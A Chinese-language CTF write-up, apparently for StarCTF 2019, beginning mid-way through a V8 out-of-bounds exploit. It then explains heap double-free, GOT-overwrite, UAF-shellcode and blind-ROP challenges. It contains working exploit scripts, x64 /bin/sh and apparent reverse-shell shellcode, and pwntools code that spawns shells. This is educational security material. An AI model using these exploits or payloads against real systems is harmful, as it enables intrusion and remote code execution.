var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

//%DebugPrint(f);
//%SystemBreak();

/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
*/
/*var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];*/

var shellcode = [
0x6a5f026a9958296an,
0xb9489748050f5e01n,
0x100007f3d0d0002n,
0x6a5a106ae6894851n,
0x485e036a050f582an,
0x75050f58216aceffn,
0x2fbb4899583b6af6n,
0x530068732f6e6962n,
0xe689485752e78948n,
0x909090909090050fn
];

var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
console.log("shellcode length: " + hex(shellcode.length));

for(var i = 0; i < shellcode.length; i++)
{
console.log("now i: " + hex(i));
data_view.setBigUint64(8*i, shellcode[i], true);
}

f();

girlfriend

通过double free覆写tcache中的next指针,覆写__free_hook地址。

分析

libc版本为2.29,该版本中增加了对tcache double free的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
> typedef struct tcache_entry
> {
> struct tcache_entry *next;
> /* This field exists to detect double frees. */
> struct tcache_perthread_struct *key;
> } tcache_entry;
>
> static __always_inline void
> tcache_put (mchunkptr chunk, size_t tc_idx)
> {
> tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
>
> /* Mark this chunk as "in the tcache" so the test in _int_free will
> detect a double free. */
> e->key = tcache;
>
> e->next = tcache->entries[tc_idx];
> tcache->entries[tc_idx] = e;
> ++(tcache->counts[tc_idx]);
> }
>
> /* Caller must ensure that we know tc_idx is valid and there's
> available chunks to remove. */
> static __always_inline void *
> tcache_get (size_t tc_idx)
> {
> tcache_entry *e = tcache->entries[tc_idx];
> tcache->entries[tc_idx] = e->next;
> --(tcache->counts[tc_idx]);
> e->key = NULL;
> return (void *) e;
> }
>

增加了一个key成员变量,tcache_get即分配的时候将该成员变量置为空,tcache_put即释放的时候将该成员变量置为tcache表的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
> #if USE_TCACHE
> {
> size_t tc_idx = csize2tidx (size);
> if (tcache != NULL && tc_idx < mp_.tcache_bins)
> {
> /* Check to see if it's already in the tcache. */
> tcache_entry *e = (tcache_entry *) chunk2mem (p);
>
> /* This test succeeds on double free. However, we don't 100%
> trust it (it also matches random payload data at a 1 in
> 2^<size_t> chance), so verify it's not an unlikely
> coincidence before aborting. */
> if (__glibc_unlikely (e->key == tcache))
> {
> tcache_entry *tmp;
> LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
> for (tmp = tcache->entries[tc_idx];
> tmp;
> tmp = tmp->next)
> if (tmp == e)
> malloc_printerr ("free(): double free detected in tcache 2");
> /* If we get here, it was a coincidence. We've wasted a
> few cycles, but don't abort. */
> }
>
> if (tcache->counts[tc_idx] < mp_.tcache_count)
> {
> tcache_put (p, tc_idx);
> return;
> }
> }
> }
> #endif
>

当释放的时候首先检查key值是否存在,若存在则遍历整个tcache链,找到相同地址的chunk则检测到double free

看一下程序,程序提供了三种操作add,show,delete(call)。共有101次的分配任意大小堆块的机会。而在释放堆块的时候全局变量的list中堆块的地址没被清0。导致UAF。我们可以利用此构造fastbin double free直接将堆块分配到free_hook位置。

利用

  • 首先释放一个较大的堆块(大于1023),释放之后该堆块会进入到unsorted bin中,show泄露libc地址。

  • 构造fastbin double free。注意申请和释放之前要将tcache填充满

  • 清空tcache。申请fastbin double free中的堆块。fastbin中剩余的堆块会被填充到tcache中。此时我们将堆块的fd指针(即tcachenext指针)改为__free_hook的地址,分配三次之后就可以将堆块分配到__free_hook的位置。

    注意到的是tcache中堆块的地址直接指向的是堆body区域,没有指向堆头

  • free_hook修改为system,释放带有/bin/sh\x00字符串的堆块即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *0x555555554F41\n")
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.29/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add_info(size, name, call):
p.sendlineafter("choice:", "1")
p.sendlineafter("girl's name\n", str(size))
p.sendafter("her name:\n", name)
p.sendafter("her call:\n", call)


def show_info(index):
p.sendlineafter("choice:", "2")
p.sendlineafter("the index:\n", str(index))


def call_girl(index):
p.sendlineafter("choice:", "4")
p.sendlineafter("the index:\n", str(index))


add_info(0x410, "1212", "1212")
add_info(0x20, "1212", "1212")
call_girl(0)
show_info(0)
p.recvuntil("name:\n")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - (libc.sym['__malloc_hook'] + 0x10)
log.success("libc address: {}".format(hex(libc.address)))

for i in range(7):
add_info(0x68, "23", "23")

add_info(0x68, "23", "23")# 9
add_info(0x68, "23", "23") # 10
add_info(0x68, "23", "23")# 11

for i in range(2, 9):
call_girl(i)

call_girl(9)
call_girl(10)
call_girl(9)

for i in range(7): # 12-18
add_info(0x68, "23", "23")

add_info(0x68, p64(libc.sym['__free_hook']) , "12") # 19
add_info(0x68, "12", "12") # 20
add_info(0x68, "/bin/sh\x00", "12") # 21
add_info(0x68, p64(libc.sym['system']), "12") # 22
call_girl(21)
p.interactive()

quicksort

分析

首先看一下程序开启了什么保护

图片无法显示,请联系作者

程序gets函数导致栈溢出漏洞,而排序内容存在的堆地址恰好在gets函数的目的地址的高地址处,导致我们可以覆盖该堆内存地址,导致任意写。

利用

有两种利用方式

  • 一种利用任意写将free.got改为main函数地址,此时获得程序循环运行。将ptr改为可泄露的libc地址进行地址泄露,最后将atoi.got改为system地址getshell。这里需要注意的是输入的数据都是带符号的int,输入地址的时候需要转换。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    # encoding=utf-8
    from pwn import *

    file_path = "./quicksort"
    context.log_level = "debug"
    elf = ELF(file_path)
    debug = 1
    if debug:
    p = process([file_path], env={"LD_PRELOAD":"./libc.so.6"})
    gdb.attach(p, "b *0x8048901\n")
    libc = ELF('./libc.so.6')
    one_gadget = 0x0

    else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

    main_address = 0x80489c9
    p.sendlineafter("to sort?\n", "1")
    p.recvuntil("number:")
    payload = str(main_address).encode().ljust(0x10, b'\x00') + p32(1) + p32(0)*2 + p32(elf.got['free'])
    p.sendline(payload)

    p.sendlineafter("to sort?\n", "2")
    p.recvuntil("number:")
    payload2 = str(0).encode().ljust(0x10, b"\x00") + p32(2) + p32(1) +p32(0) + p32(elf.got['stderr'])
    p.sendline(payload2)
    p.recvuntil("result:\n")
    libc.address = (int(p.recvuntil(" ")) & 0xffffffff) - libc.sym['_IO_2_1_stderr_']
    log.success("libc address: {}".format(hex(libc.address)))

    p.sendlineafter("to sort?\n", "2")
    p.recvuntil("number:")
    payload = str(libc.sym['system'] - 0x100000000).encode().ljust(0x10, b"\x00") + p32(2) + p32(0)*2 + p32(elf.got['atoi'])
    p.sendline(payload)

    p.recvuntil("number:")
    payload = "/bin/sh".encode().ljust(0x10, b"\x00") + p32(2) + p32(1) + p32(0) + p32(elf.got['stderr'])
    p.sendline(payload)

    p.interactive()
  • 一种是将atoi.got改为printf.plt地址制造格式化字符串漏洞,泄露canary,stack,libc地址,最后覆写返回地址getshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    # encoding=utf-8
    from pwn import *

    file_path = "./quicksort"
    context.log_level = "debug"
    elf = ELF(file_path)
    debug = 1
    if debug:
    p = process([file_path], env={"LD_PRELOAD":"./libc.so.6"})
    gdb.attach(p, "b *0x8048901\n")
    libc = ELF('./libc.so.6')
    one_gadget = 0x0

    else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

    p.sendlineafter("to sort?\n", "3")
    p.recvuntil("number:")
    payload = str(elf.plt['printf']).encode().ljust(0x10, b'\x00') + p32(3) + p32(0)*2 + p32(elf.got['atoi'])
    p.sendline(payload)

    payload2 = b"%15$x%18$x%23$x".ljust(0x10, b"\x00") + p32(6) + p32(0)*2 + p32(0x804a000+0x500)
    p.recvuntil("number:")
    p.sendline(payload2)
    canary = int(p.recv(8), 16)
    stack_address = int(p.recv(8), 16)
    libc.address = int(p.recv(8), 16) - 247 - libc.sym['__libc_start_main']

    log.success("canary: {}\nstack_address: {}\nlibc_address: {}".format(hex(canary), hex(stack_address), hex(libc.address)))

    system_address = libc.sym['system']
    binsh_address = next(libc.search(b"/bin/sh\x00"))

    payload3 = str(elf.plt['printf']).encode().ljust(0x10, b"\x00") + p32(3) + p32(2) + p32(0) + p32(elf.got['free'])\
    + p32(canary) + p32(0)*2 + p32(stack_address) + p32(system_address) + p32(0) + p32(binsh_address) + p32(0)
    p.recvuntil("number:")
    p.sendline(payload3)

    p.interactive()

upxofcpp

分析

程序加了upx的壳。首先对程序进行脱壳。程序提供了三个功能add,remove,show。每个函数对一个结构体进行操作

图片无法显示,请联系作者

结构体的第一个参数是一个函数指针列表,remove的时候调用第二个函数指针,show的时候调用第三个函数指针。若函数指针列表中保存的函数指针与预定的不同,则会调用新的函数指针。

图片无法显示,请联系作者

程序在add的时候对用户输入的数据当做是int类型来进行存储即4字节一个数据。

利用

  • 注意到在对程序进行脱壳之后,某些段的权限发生变化,即脱壳之前堆是可以执行数据的,而脱壳之后堆没有了x权限。

  • 程序在remove的时候没有清空堆地址指针,造成UAF

  • 释放的时候会先释放content堆块,再释放结构体堆块。当我们控制content数据的大小使得两个堆块的大小相同的时候,就可以在释放的时候使得结构体堆块的fd指针指向content堆块。

    此时我们在content中进行指针布局即控制contentfd指针指向一段shellcode就可以执行该段shellcode

  • 控制contentfd指针,可以再次释放一个vec。此时contentfd指针指向一个结构体堆块的堆头位置。由于当上一个堆块位于use时,堆头的前8字节存储数据。就可以利用该8字节完成一个jmp,跳转到布置好shellcode的临近堆块getshell

    图片无法显示,请联系作者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# encoding=utf-8
#python2.7
from pwn import *

context.log_level = "debug"
elf = ELF("./upxofcpp")
debug = 1
if debug:
p = process(['./upxofcpp'])
gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(index, size, content, send=False):
p.sendlineafter("Your choice:", "1")
p.sendlineafter("Index:", str(index))
p.sendlineafter("Size:", str(size))
p.recvuntil("-1 to stop:")
for i in content:
if i > 0x80000000:
p.sendline("-" + str(0x100000000 - i))
else:
p.sendline(str(i))
if send:
p.sendline(str(-1))

def remove(index):
p.sendlineafter("Your choice:", "2")
p.sendlineafter("vec index:", str(index))


def show(index):
p.sendlineafter("Your choice:", "4")
p.sendlineafter("vec index:", str(index))


shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05\x0a"

content = []
for i in range(0, len(shellcode), 4):
content.append(u32(shellcode[i:i+4].ljust(4, "\x00")))

add(0, 6, content)
add(1, 6, content)
add(2, 6, content)
add(3, 6, content)
add(4, 6, content)
add(5, 6, content)
add(6, 6, content)

remove(2)
remove(1)

jmp="\x90"*0x10+"\xeb\x6e\x00\x00"
content = []
for i in range(0, len(jmp), 4):
content.append(u32(jmp[i:i+4].ljust(4, "\x00")))

add(7, 6, content, True)
remove(1)
show(1)
p.interactive()

blindpwn

图片无法显示,请联系作者

程序只开启了堆栈不可执行保护。

找到栈溢出大小

程序存在栈溢出漏洞,我们先获取一下栈溢出的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_stack_buf_offset():
i = 1
while True:
try:
p = remote("127.0.0.1", 10005)
p.sendafter("this blind pwn!\n", 'a' * i)
res = p.recv()
p.close()
if not res.startswith("Goodbye!"):
return i - 1
else:
i += 1
except EOFError:
return i - 1
# stack_offset = get_stack_buf_offset()
stack_offset = 0x28
log.success("stack offset: {}".format(hex(stack_offset)))

寻找stop gadget

栈溢出的大小为0x28,在获取到栈溢出的大小之后,我们需要获取gadget进行读取文件或者getshell。为了判断gadget的功能,我们需要获取stop gadget即程序可以循环执行的一个地址(main函数地址)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def detect_main(buff_len=0x2c):
length = 0
for i in range(8):
for j in range(256):
sh = remote('127.0.0.1', 10005)
sh.recvuntil("Welcome to this blind pwn!\n")
sh.send(buff_len*'a' +p64(length)[:i]+ chr(j))
try:
sh.recvuntil("Welcome to this blind pwn!\n")
except:
sh.close()
else:
sh.close()
length = length + j*(0x100**i)
break
return length
# main_address = get_main_address(stack_offset)
main_address = 0x400575
log.success("main address: {}".format(hex(main_address)))

寻找csu gadget

在获取得到main函数地址之后,我们就可以寻找gadget的地址了,一般寻找的是libc_csu_init的地址

图片无法显示,请联系作者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def get_rop_gadget(stack_offset, main_address, start, length):

address = 0
for i in range(length):
p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
p.send(stack_offset * 'a' + p64(start + i) + p64(0)*6 + p64(main_address))
try:
p.recvuntil("Welcome to this blind pwn!\n")
except:
p.close()
else:
p.close()
address = start + i
return address
# rop_address = get_rop_gadget(stack_offset, main_address, ori_ret_address, 0x200)
rop_address = 0x40077a
p_rdi_ret = rop_address + 9
p_rsi_r15_ret = rop_address + 7
log.success("rop address: {}".format(hex(rop_address)))

寻找write

在获得gadget之后,我们就可以控制函数的参数了。这时候获取输出函数,以进行信息泄露。从程序的功能来看,其首先输出一段字符串,接着读取用户的输入,在之后就输出Goodbye。我们先把这个输出函数的地址获取得到。

从获取main函数的执行流程来看,读取用户输入是调用了一个函数进行了(因为其将后一字节覆盖在0x76的时候程序正常执行),如下所示

1
2
3
call write; // Welcome to this blind pwn!
call input;
call write; //Goodbye!

因此input函数的返回地址在write函数调用的低地址,返回之后即开始设置write的参数,进行write函数的调用。我们先将返回地址获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def get_ret_address(stack_offset):
length = 0
for i in range(8):
for j in range(256):
p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
p.send(stack_offset * 'a' + p64(length)[:i] + chr(j))
try:
p.recvuntil("Goodbye!\n")
except:
p.close()
else:
p.close()
length = length + j*(0x100**i)
break
return length
# ori_ret_address = get_ret_address(stack_offset)
ori_ret_address = 0x400705
log.success("ori_ret_address: {}".format(hex(ori_ret_address)))

context.log_level = "debug"
for i in range(0x10):
p = remote("127.0.0.1", 10005)
p.recvuntil("this blind pwn!\n")
p.send("a"*stack_offset + p64(ori_ret_address+i))
print(p.recvall())
p.close()

对返回地址之后的0x10的地址进行测试,测试结果中address+5,address+10,address+15处输出了内容

图片无法显示,请联系作者

推测write函数的调用如下

1
call write(1, buffer, length)

address+5处输出了Goodbye,说明buffer的地址没变,但是输出的内容变成了0x100的长度,说明edx发生了变化,初始的edi即为0x100。而address+10,address+15处输出的内容均发生了改变,并且以用户输入的内容起始,说明edx,esi都发生了变化,初始的esi即指向用户输入的内容。address+0x15处则是edi发生了变化所致。因此address+5处为设置edx的地址,address+15处为call write的地址。

泄露elf

利用write函数将程序代码段的内容泄露出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def leak_elf(stack_offset, main_address, start, length):
elf = ''
for i in range((length + 0xff) / 0x100):
p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
payload = 'a' * stack_offset
payload += p64(p_rdi_ret) + p64(0)
payload += p64(p_rsi_r15_ret) + p64(start + 0x100 * i) + p64(0)
payload += p64(write_address_call)
p.send(payload)

elf += p.recv(0x100)
p.close()
return elf


elf = leak_elf(stack_offset, main_address, 0x400000, 0x1000)
print(len(elf))

with open("leaked_bindpwn", "w") as f:
f.write(elf)

泄露libc,getshell

binary加载,c反编译之后,我们找到了_start函数,进而找到了main函数

图片无法显示,请联系作者

找到main函数之后我们就可以很容易的找到write函数的plt,got地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
write_got = 0x601018
write_plt = 0x400520
libc = ELF("./libc.so.6")
context.log_level = "debug"

p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
payload = 'a' * stack_offset
payload += p64(p_rdi_ret) + p64(0)
payload += p64(p_rsi_r15_ret) + p64(write_got) + p64(0)
payload += p64(write_plt) + p64(main_address)
p.send(payload)
libc_address = u64(p.recv(8))
log.success("recev address: {}".format(hex(libc_address)))
libc.address = libc_address - libc.sym['write']
log.success("libc address: {}".format(hex(libc.address)))


system_address = libc.sym['system']
binsh_address = libc.search("/bin/sh\x00").next()

# p.recvuntil("Welcome to this blind pwn!\n")
payload = 'a' * stack_offset
payload += p64(p_rdi_ret) + p64(binsh_address)
payload += p64(system_address) + p64(0)*3
p.sendline(payload)
p.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# encoding=utf-8
from pwn import *


# context.log_level = "info"

def get_stack_buf_offset():
i = 1
while True:
try:
p = remote("127.0.0.1", 10005)
p.sendafter("this blind pwn!\n", 'a' * i)
res = p.recv()
p.close()
if not res.startswith("Goodbye!"):
return i - 1
else:
i += 1
except EOFError:
return i - 1


def detect_main(buff_len=0x2c):
length = 0
for i in range(8):
for j in range(256):
sh = remote('127.0.0.1', 10005)
sh.recvuntil("Welcome to this blind pwn!\n")
sh.send(buff_len * 'a' + p64(length)[:i] + chr(j))
try:
sh.recvuntil("Welcome to this blind pwn!\n")
except:
sh.close()
else:
sh.close()
length = length + j * (0x100 ** i)
break
return length


def get_ret_address(stack_offset):
length = 0
for i in range(8):
for j in range(256):
p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
p.send(stack_offset * 'a' + p64(length)[:i] + chr(j))
try:
p.recvuntil("Goodbye!\n")
except:
p.close()
else:
p.close()
length = length + j * (0x100 ** i)
break
return length


def get_rop_gadget(stack_offset, main_address, start, length):
address = 0
for i in range(length):
p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
p.send(stack_offset * 'a' + p64(start + i) + p64(0) * 6 + p64(main_address))
try:
p.recvuntil("Welcome to this blind pwn!\n")
except:
p.close()
else:
p.close()
address = start + i
return address


# stack_offset = get_stack_buf_offset()
stack_offset = 0x28
log.success("stack offset: {}".format(hex(stack_offset)))

# main_address = get_main_address(stack_offset)
main_address = 0x400575
log.success("main address: {}".format(hex(main_address)))

# ori_ret_address = get_ret_address(stack_offset)
ori_ret_address = 0x400705
log.success("ori_ret_address: {}".format(hex(ori_ret_address)))

# context.log_level = "debug"
# for i in range(0x10):
# p = remote("127.0.0.1", 10005)
# p.recvuntil("this blind pwn!\n")
# p.send("a"*stack_offset + p64(ori_ret_address+i))
# print(p.recvall())
# p.close()

write_address_no_rdx = ori_ret_address + 5 # rdx
write_address_call = ori_ret_address + 15

# rop_address = get_rop_gadget(stack_offset, main_address, ori_ret_address, 0x200)
rop_address = 0x40077a
p_rdi_ret = rop_address + 9
p_rsi_r15_ret = rop_address + 7
log.success("rop address: {}".format(hex(rop_address)))


def leak_elf(stack_offset, main_address, start, length):
elf = ''
for i in range((length + 0xff) / 0x100):
p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
payload = 'a' * stack_offset
payload += p64(p_rdi_ret) + p64(0)
payload += p64(p_rsi_r15_ret) + p64(start + 0x100 * i) + p64(0)
payload += p64(write_address_call)
p.send(payload)

elf += p.recv(0x100)
p.close()
return elf


# elf = leak_elf(stack_offset, main_address, 0x400000, 0x1000)
# print(len(elf))
# data = leak_elf(stack_offset, main_address, 0x600000, 0x1000)
#
# with open("leaked_bindpwn", "w") as f:
# f.write(elf)

write_got = 0x601018
write_plt = 0x400520
libc = ELF("./libc.so.6")
context.log_level = "debug"

p = remote("127.0.0.1", 10005)
p.recvuntil("Welcome to this blind pwn!\n")
payload = 'a' * stack_offset
payload += p64(p_rdi_ret) + p64(0)
payload += p64(p_rsi_r15_ret) + p64(write_got) + p64(0)
payload += p64(write_plt) + p64(main_address)
p.send(payload)
libc_address = u64(p.recv(8))
log.success("recev address: {}".format(hex(libc_address)))
libc.address = libc_address - libc.sym['write']
log.success("libc address: {}".format(hex(libc.address)))


system_address = libc.sym['system']
binsh_address = libc.search("/bin/sh\x00").next()

# p.recvuntil("Welcome to this blind pwn!\n")
payload = 'a' * stack_offset
payload += p64(p_rdi_ret) + p64(binsh_address)
payload += p64(system_address) + p64(0)*3
p.sendline(payload)
p.interactive()

参考

starctf 2019 heap_master

starctf-heap_master题解

深入分析 IO_FILE 与 Unosrtbin Largebin attack 的结合利用

浏览器入门之starctf-OOB

StarCTF 2019 OOB

从一道CTF题零基础学V8漏洞利用